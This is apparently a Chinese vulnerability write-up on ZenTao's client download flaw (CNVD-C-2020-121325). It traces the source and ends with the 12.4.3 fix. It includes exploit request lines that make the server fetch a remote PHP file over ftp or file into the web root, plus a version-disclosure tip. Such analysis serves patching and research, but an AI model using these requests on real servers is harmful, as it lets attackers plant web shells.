介绍
官网
1 | 禅道 项目管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。 |
漏洞编号
1 | CNVD-C-2020-121325 |
影响版本
禅道项目管理软件开源版
1 | 12.3.3 |
2 | 12.4.1 |
3 | 12.4.2 |
分析
禅道支持两种路由方式分别是 GET
PATH_INFO
模式,可以在 config/my.php
文件配置
1 | $config->requestType = 'PATH_INFO'; // GET/PATH_INFO/PATH_INFO2 |
其中按照源码搭建的默认是GET 方式,一键搭建的是PATH_INFO模式.
其中解析路由的方法,在index.php的parseRequest
1 | $app->parseRequest(); //解析路由 |
2 | $common->checkPriv(); //检测权限 |
3 | $app->loadModule(); //加载模块 |
先分析一下程序入口 index.php的重要内容
1 | <?php |
2 | |
3 | ... |
4 | //包含基础的类和函数 |
5 | include '../framework/router.class.php'; |
6 | include '../framework/control.class.php'; |
7 | include '../framework/model.class.php'; |
8 | include '../framework/helper.class.php'; |
9 | |
10 | |
11 | ... |
12 | //实例化 app |
13 | $app = router::createApp('pms', dirname(dirname(__FILE__)), 'router'); |
14 | |
15 | ... |
16 | $common = $app->loadCommon(); |
17 | |
18 | //此处访问 http://ip/index.php?mode=getconfig 可看出版本 可以作为一个小tips |
19 | if(isset($_GET['mode']) and $_GET['mode'] == 'getconfig') die(helper::removeUTF8Bom($app->exportConfig())); |
20 | ... |
21 | |
22 | $app->parseRequest(); //解析路由 |
23 | $common->checkPriv(); //检测权限 |
24 | $app->loadModule(); //加载模块 |
在实例化app的的时候,执行了router类的构造函数
其中在构造函数中执行了一个方法 setSuperVars
1 | public function setSuperVars() |
2 | { |
3 | $this->post = new super('post'); |
4 | $this->get = new super('get'); |
5 | $this->server = new super('server'); |
6 | $this->cookie = new super('cookie'); |
7 | $this->session = new super('session'); |
8 | |
9 | unset($GLOBALS); |
10 | unset($_REQUEST); |
11 | |
12 | /* Change for CSRF. */ |
13 | if($this->config->framework->filterCSRF) |
14 | { |
15 | $httpType = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == 'on') ? 'https' : 'http'; |
16 | $httpHost = $_SERVER['HTTP_HOST']; |
17 | if((!defined('RUN_MODE') or RUN_MODE != 'api') and strpos($this->server->http_referer, "$httpType://$httpHost") !== 0) $_FILES = $_POST = array(); |
18 | } |
19 | |
20 | $_FILES = validater::filterFiles(); //过滤 $_FILE |
21 | $_POST = validater::filterSuper($_POST); //过滤 $_POST |
22 | $_GET = validater::filterSuper($_GET); //过滤 $_GET |
23 | $_COOKIE = validater::filterSuper($_COOKIE); //过滤 $_COOKIE |
24 | } |
可以看到在赋值的时候分别进行了过滤
$_FILE 检测是否匹配配置文件的文件后缀白名单
对 $_GET,$_POST,$COOKIE
中的值进行以下的正则匹配以及xss过滤
1 | preg_match('/[^a-zA-Z0-9_\.\-]/', $key); |
因此在参数上限制的很严格,即使是PATH_INFO模式,在之后的代码中也会解析之后进行检测,如果不匹配正则
就会 die(bad request)
接着跟进 parseRequest
方法
1 | public function parseRequest() |
2 | {//检查配置文件的requestType值 |
3 | if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2') |
4 | { |
5 | $this->parsePathInfo(); //解析path_info参数 |
6 | $this->setRouteByPathInfo(); //设置路由文件 |
7 | } |
8 | elseif($this->config->requestType == 'GET') |
9 | { |
10 | $this->parseGET(); //解析get参数 m=model&f=method&var1=var&var2=var |
11 | $this->setRouteByGET(); |
12 | } |
13 | else |
14 | { |
15 | $this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true); |
16 | } |
17 | } |
简单来说
PATH_INFO模式就是 /module-method-var1-var2.html
GET模式就是 ?m=model&f=method&var1=var&var2=var
接着进入checkPriv 方法检测权限
1 | public function checkPriv() |
2 | { |
3 | $module = $this->app->getModuleName(); |
4 | $method = $this->app->getMethodName(); |
5 | if($this->app->isFlow) |
6 | { |
7 | $module = $this->app->rawModule; |
8 | $method = $this->app->rawMethod; |
9 | } |
10 | |
11 | if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword', '', '', true))); |
12 | if($this->isOpenMethod($module, $method)) return true; //检测是否为开放模块 |
13 | if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth(); |
14 | if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie(); |
15 | |
16 | if(isset($this->app->user)) |
17 | { |
18 | if(!defined('IN_UPGRADE')) $this->session->user->view = $this->loadModel('user')->grantUserView(); |
19 | $this->app->user = $this->session->user; |
20 | |
21 | if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method); |
22 | } |
23 | else |
24 | { |
25 | $referer = helper::safe64Encode($this->app->getURI(true)); |
26 | die(js::locate(helper::createLink('user', 'login', "referer=$referer"))); |
27 | } |
28 | } |
跟进 isOpenMethod
方法,
1 | public function isOpenMethod($module, $method) |
2 | { |
3 | if($module == 'entry' and $method == 'visit') return true; |
4 | if($module == 'user' and strpos('login|logout|deny|reset', $method) !== false) return true; |
5 | if($module == 'api' and $method == 'getsessionid') return true; |
6 | if($module == 'misc' and $method == 'checktable') return true; |
7 | if($module == 'misc' and $method == 'qrcode') return true; |
8 | if($module == 'misc' and $method == 'about') return true; |
9 | if($module == 'misc' and $method == 'checkupdate') return true; |
10 | if($module == 'misc' and $method == 'ping') return true; |
11 | if($module == 'sso' and $method == 'login') return true; |
12 | if($module == 'sso' and $method == 'logout') return true; |
13 | if($module == 'sso' and $method == 'bind') return true; |
14 | if($module == 'sso' and $method == 'gettodolist') return true; |
15 | if($module == 'block' and $method == 'main' and isset($_GET['hash'])) return true; |
16 | if($module == 'file' and $method == 'read') return true; |
17 | ... |
18 | 检测登录 |
检测是否为这些开放模块,如果不是,就检查是否登录。
最后就是加载解析过的模块方法了。
分析了禅道的工作流程之后看一下本次的漏洞发生处。
在module/client/control.php
的 download
方法中
1 | public function download($version = '', $link = '', $os = '') |
2 | { |
3 | set_time_limit(0); |
4 | $result = $this->client->downloadZipPackage($version, $link);// |
5 | if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail)); |
6 | $client = $this->client->edit($version, $result, $os); |
7 | if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError)); |
8 | $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse'))); |
9 | } |
将传入的参数version,link
带入了extclientModel类的 downloadZipPackage
方法中,跟进
1 | public function downloadZipPackage($version, $link) |
2 | { |
3 | $decodeLink = helper::safe64Decode($link); |
4 | if(preg_match('/^https?\:\/\//', $decodeLink)) return false; |
5 | |
6 | return parent::downloadZipPackage($version, $link); |
7 | } |
看出,先将 $link
参数base64解码,此处正好绕过了前面的参数检测。接着检测不能为http/https
协议,接着调用父类的方法。
1 | public function downloadZipPackage($version, $link) |
2 | { |
3 | ignore_user_abort(true); |
4 | set_time_limit(0); |
5 | if(empty($version) || empty($link)) return false; |
6 | $dir = "data/client/" . $version . '/'; |
7 | $link = helper::safe64Decode($link); |
8 | $file = basename($link); |
9 | if(!is_dir($this->app->wwwRoot . $dir)) |
10 | { |
11 | mkdir($this->app->wwwRoot . $dir, 0755, true); |
12 | } |
13 | if(!is_dir($this->app->wwwRoot . $dir)) return false; |
14 | if(file_exists($this->app->wwwRoot . $dir . $file)) |
15 | { |
16 | return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; |
17 | } |
18 | ob_clean(); |
19 | ob_end_flush(); |
20 | |
21 | $local = fopen($this->app->wwwRoot . $dir . $file, 'w'); |
22 | $remote = fopen($link, 'rb'); //读取远程文件 |
23 | if($remote === false) return false; |
24 | while(!feof($remote)) |
25 | { |
26 | $buffer = fread($remote, 4096); |
27 | fwrite($local, $buffer); //写入本地文件 |
28 | } |
29 | fclose($local); |
30 | fclose($remote); |
31 | return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; |
32 | } |
最终,将读取的远程文件写入到本地的 www目录下的 /data/client/$version/
中,文件名不变。
由于client模块不在上面分析的公开的模块中,因此需要登录。
最终可以构造link写入到本地
1 | /index.php?m=client&f=download&version=1&link=bs64encode(ftp://x.x.x.x/x.php)&os=win |
1 | /client-download-1-bs64encode(ftp://x.x.x.x/x.php)-win.html |
远程文件会写到
1 | /data/client/1/x.php |
除了ftp协议,还可使用 file
协议。
修复
官方在12.4.3中修复了
在 client.php 文件中的 extclientModel
方法中添加了文件后缀白名单检测
1 | public function downloadZipPackage($version, $link) |
2 | { |
3 | $decodeLink = helper::safe64Decode($link); |
4 | if(!preg_match('/^https?\:\/\//', $decodeLink)) return false; |
5 | //++++add |
6 | $file = basename($link); |
7 | $extension = substr($file, strrpos($file, '.') + 1); |
8 | if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false; |
9 | // |
10 | return parent::downloadZipPackage($version, $link); |
11 | } |
在解码后,检测了文件后缀是否为配置文件的白名单。